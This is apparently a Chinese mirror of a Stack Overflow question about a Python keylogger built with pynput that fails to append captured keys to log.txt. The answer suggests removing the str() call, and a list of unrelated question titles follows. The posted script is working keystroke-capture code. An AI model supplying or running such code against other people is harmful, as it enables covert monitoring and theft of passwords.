python - 尝试使用键盘记录器附加文本文件

标签 python text

我正在尝试创建一个键盘记录器,以便在运行时将所有记录的键附加到文本文件中。目前,它正在记录所有键,但不会附加到设置的文本文件中。

import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []


def on_press(key):
  global keys, count

  keys.append(key)
  count += 1
  print("{0} pressed".format(key))

  if count >= 10: 
    count = 0
    write_file(str(keys))
    keys = []

def write_file(keys):
  with open("log.txt","a") as f:
    for key in keys:
      f.write(str(key))


def on_release(key):
  if key == Key.esc:
    return False

with Listener(on_press=on_press, on_release=on_release) as listener:
  listener.join()

最佳答案

尝试删除您提供给 write_file 函数的 key 周围的 str

像这样:

write_file(keys)

当你str一个列表时,你会得到整个列表作为一个字符串......

关于python - 尝试使用键盘记录器附加文本文件,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/57051477/

相关文章:

c# - 将空格分隔的数字文件读入数组的快速有效方法?

text - TinyMCE Joomla 3 在 Ctrl-v 上强制粘贴为纯文本

python - "\z" anchor 在 Python 正则表达式中不起作用

python - 如何处理每个单独条目的事件

python - 多语言 Bert 句子向量捕获的语言不仅仅是意义——像实习生一样工作?

css - 全宽 div 通过小描述文本 css 响应

Python 使用 sys.stdout 打印尾随逗号行为

python - 如何将 Amazon Redshift 连接到 python

CSS:使图像下方带有文本响应

javascript - 简单的删除文本脚本